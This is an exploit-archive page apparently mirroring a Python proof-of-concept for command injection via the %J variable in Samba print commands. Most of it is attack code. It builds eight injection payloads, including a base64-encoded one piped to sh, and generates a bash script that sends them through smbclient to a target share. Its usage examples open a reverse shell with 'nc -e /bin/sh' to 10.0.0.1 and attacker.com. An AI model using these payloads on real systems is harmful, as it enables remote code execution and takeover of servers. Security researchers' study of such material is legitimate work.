PACKETSTORM

📄 Samba Print Command Injection_PACKETSTORM:222478

Description

This Python proof of concept framework analyzes Samba printing configurations for unsafe print command usage involving the %J variable and demonstrates how command injection conditions could arise in vulnerable setups. It's written to target versions...
Visit Original Source

Basic Information

ID PACKETSTORM:222478
Published Jun 2, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : Samba 4.22.10, 4.23.8 and 4.24.3 – Print Command Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.samba.org/ |
==================================================================================================================================

[+] Summary : This Python proof-of-concept framework analyzes Samba printing configurations for unsafe print command usage involving the %J variable
and demonstrates how command injection conditions could arise in vulnerable setups.

[+] POC : python3 poc.py -c /etc/samba/smb.conf

python3 poc.py -c smb.conf -t 192.168.1.100 -e "id" --simulate

python3 poc.py -c smb.conf -t 192.168.1.100 -e "nc -e /bin/sh 10.0.0.1 4444" -o exploit.sh

python3 poc.py -c /etc/samba/smb.conf -t 10.0.0.10 -e "whoami"

#!/usr/bin/env python3

import re
import argparse
import subprocess
import socket
import sys
from pathlib import Path
from typing import Dict, Optional, Tuple

class SambaPrintExploit:
"""PoC to exploit a command injection vulnerability in print commands with %J"""

def __init__(self, target_host: str, smb_port: int = 445):
self.target_host = target_host
self.smb_port = smb_port
self.payloads = []

def check_smb_access(self) -> bool:
"""Checking accessibility to the SMB service"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
result = sock.connect_ex((self.target_host, self.smb_port))
sock.close()
return result == 0
except Exception:
return False

def build_payloads(self, command: str) -> list:
"""Building different loads to bypass protection"""
payloads = []
payloads.append({
"name": "Direct injection",
"j_value": f"'; {command} #",
"description": "Direct injection using; to finish"
})
payloads.append({
"name": "Backticks injection",
"j_value": f"`{command}`",
"description": "Using backticks to execute the command"
})
payloads.append({
"name": "Command substitution",
"j_value": f"$({command})",
"description": "Use $() to execute the command"
})
payloads.append({
"name": "Pipe injection",
"j_value": f"' | {command} #",
"description": "injection via pipe"
})
payloads.append({
"name": "AND operator",
"j_value": f"' && {command} #",
"description": "Injection using &&"
})
payloads.append({
"name": "OR operator",
"j_value": f"' || {command} #",
"description": "Injection using ||"
})
import base64
encoded_cmd = base64.b64encode(command.encode()).decode()
payloads.append({
"name": "Base64 encoded",
"j_value": f"' && echo {encoded_cmd} | base64 -d | sh #",
"description": "Encrypting the command using Base64"
})
payloads.append({
"name": "Environment variable",
"j_value": f"'; $CMD='{command}'; eval $CMD #",
"description": "Injection via environmental variables"
})

return payloads

def analyze_config(self, config_path: str) -> Optional[Dict]:
"""Analyzing the smb.conf file to find vulnerabilities"""
try:
content = Path(config_path).read_text(encoding="utf-8", errors="ignore")
except Exception as e:
print(f"[ERROR] Cannot read config: {e}")
return None

findings = {
"vulnerable": False,
"printing_mode": "unknown",
"print_command": None,
"uses_percent_j": False,
"risk_level": "low",
"share_name": None,
"exploit_command": None,
"notes": []
}
current_share = None

for line in content.split('\n'):
share_match = re.match(r'^\s*\[([^\]]+)\]', line)
if share_match:
current_share = share_match.group(1)
continue
cmd_match = re.search(r'^\s*print\s+command\s*=\s*(.+)$', line, re.IGNORECASE)
if cmd_match and current_share:
cmd = cmd_match.group(1).strip()
findings["print_command"] = cmd
findings["share_name"] = current_share

if "%J" in cmd:
findings["uses_percent_j"] = True

if "'%J'" in cmd:
findings["risk_level"] = "medium"
findings["notes"].append("Single quotes provide partial protection")
findings["vulnerable"] = True
elif '"%J"' in cmd:
findings["risk_level"] = "medium"
findings["notes"].append("Double quotes are vulnerable")
findings["vulnerable"] = True
else:
findings["risk_level"] = "high"
findings["notes"].append("CRITICAL: %J unquoted - Direct injection possible")
findings["vulnerable"] = True
findings["exploit_command"] = f"print {findings['share_name']} '; {{{{command}}}} #'"
printing_match = re.search(r'^\s*printing\s*=\s*(.+)$', content, re.MULTILINE | re.IGNORECASE)
if printing_match:
findings["printing_mode"] = printing_match.group(1).strip().lower()

if findings["printing_mode"] in ["cups", "iprint"]:
findings["risk_level"] = "low"
findings["vulnerable"] = False
findings["notes"].append(f"Printing mode '{findings['printing_mode']}' is likely safe")

return findings

def simulate_exploit(self, findings: Dict, command: str) -> Dict:
"""Simulation or actual exploitation test"""

if not findings["vulnerable"]:
return {
"success": False,
"message": "Target does not appear vulnerable",
"payload_tested": None
}

results = {
"success": False,
"command": command,
"payload_tested": None,
"response": None,
"exploit_method": None
}

print(f"\n[+] Target: {self.target_host}")
print(f"[+] Share: {findings['share_name']}")
print(f"[+] Risk Level: {findings['risk_level']}")

payloads = self.build_payloads(command)

print(f"\n[*] Generated {len(payloads)} payloads:")

for i, payload in enumerate(payloads, 1):
print(f"\n [{i}] {payload['name']}")
print(f" Description: {payload['description']}")
print(f" %J Value: {payload['j_value']}")
final_cmd = findings['exploit_command'].replace('{{command}}', payload['j_value'])
print(f" SMB Command: {final_cmd}")

results["payload_tested"] = payload
results["exploit_method"] = payload['name']
if findings['risk_level'] == "high":
results["success"] = True
results["response"] = "Command likely executed (simulated)"
break

return results

def generate_exploit_script(self, findings: Dict, command: str, output_file: str):
"""Generating a fully exploitable script"""

script_content = f"""#!/bin/bash
# Samba Print Command Exploit - Generated PoC
# Target: {self.target_host}
# Share: {findings['share_name']}
# Risk: {findings['risk_level']}

echo "[+] Exploiting Samba print command vulnerability..."

# Method 1: Direct injection
smbclient "//{self.target_host}/{findings['share_name']}" -N -c 'print "; {command} #"'
smbclient "//{self.target_host}/{findings['share_name']}" -N -c 'print "`{command}`"'
smbclient "//{self.target_host}/{findings['share_name']}" -N -c 'print "$({command})"'
echo "{command}" | smbclient "//{self.target_host}/{findings['share_name']}" -N -c 'print "-"'

echo "[+] Exploit attempts completed"
"""

output_path = Path(output_file)
output_path.write_text(script_content)
output_path.chmod(0o755)

print(f"[+] Exploit script saved to: {output_file}")
return output_file


def print_banner():
banner = """
╔═══════════════════════════════════════════════════════════════╗
║ Samba Print Command Injection - PoC Exploit ║
║ by Indoushka ║
╚═══════════════════════════════════════════════════════════════╝
"""
print(banner)


def main():
print_banner()

parser = argparse.ArgumentParser(
description="Samba Print Command Injection PoC",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
EXAMPLES:

%(prog)s -c /etc/samba/smb.conf
%(prog)s -c /etc/samba/smb.conf -t 192.168.1.100 -e "id > /tmp/indoushka"
%(prog)s -c /etc/samba/smb.conf -t 192.168.1.100 -e "nc -e /bin/sh attacker.com 4444" -o indoushka.sh
"""
)

parser.add_argument("-c", "--config", required=True, help="Path to smb.conf")
parser.add_argument("-t", "--target", help="Target host for exploitation")
parser.add_argument("-e", "--execute", help="Command to execute on target")
parser.add_argument("-o", "--output", help="Output exploit script to file")
parser.add_argument("--simulate", action="store_true", help="Simulate exploitation without actual connection")

args = parser.parse_args()

print(f"[*] Analyzing configuration: {args.config}")
exploiter = SambaPrintExploit(args.target if args.target else "localhost")
findings = exploiter.analyze_config(args.config)

if not findings:
print("[ERROR] Analysis failed")
sys.exit(1)
print("\n=== Configuration Analysis ===")
print(f"Vulnerable : {'YES' if findings['vulnerable'] else 'NO'}")
print(f"Printing Mode : {findings['printing_mode']}")
print(f"Print Command : {findings['print_command']}")
print(f"Share Name : {findings['share_name']}")
print(f"Risk Level : {findings['risk_level']}")

if findings['notes']:
for note in findings['notes']:
print(f" No {note}")

if args.execute and findings['vulnerable']:
if not args.target:
print("[ERROR] Target required for exploitation (-t)")
sys.exit(1)

print(f"\n[*] Checking SMB access to {args.target}:445...")
if exploiter.check_smb_access():
print("[+] SMB port is accessible")
else:
print("[!] SMB port not accessible, but continuing with simulation")

if args.simulate:
print("\n[*] Running in simulation mode...")
result = exploiter.simulate_exploit(findings, args.execute)

if result['success']:
print(f"\n[!] SUCCESS! Command injection possible!")
print(f"[!] Payload: {result['payload_tested']['j_value']}")
print(f"[!] Method: {result['exploit_method']}")
else:
print(f"\n[-] Exploit failed: {result['message']}")
else:
print("\n[!] LIVE EXPLOITATION MODE")
print("[!] Make sure you have permission to test this target!")

result = exploiter.simulate_exploit(findings, args.execute)

if result['success']:
print(f"\n[+] Exploit simulation successful!")
print(f"[+] Command: {args.execute}")

if args.output:
exploiter.generate_exploit_script(findings, args.execute, args.output)
else:
print(f"\n[-] Exploit failed")

elif args.execute and not findings['vulnerable']:
print("\n[-] Target is not vulnerable, exploitation not possible")

elif args.target and not args.execute:
print("\n[*] Target specified without exploit command (-e)")
if args.output and not args.execute:
dummy_cmd = "id"
exploiter.generate_exploit_script(findings, dummy_cmd, args.output)

print("\n[*] Analysis complete")


if __name__ == "__main__":
main()

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.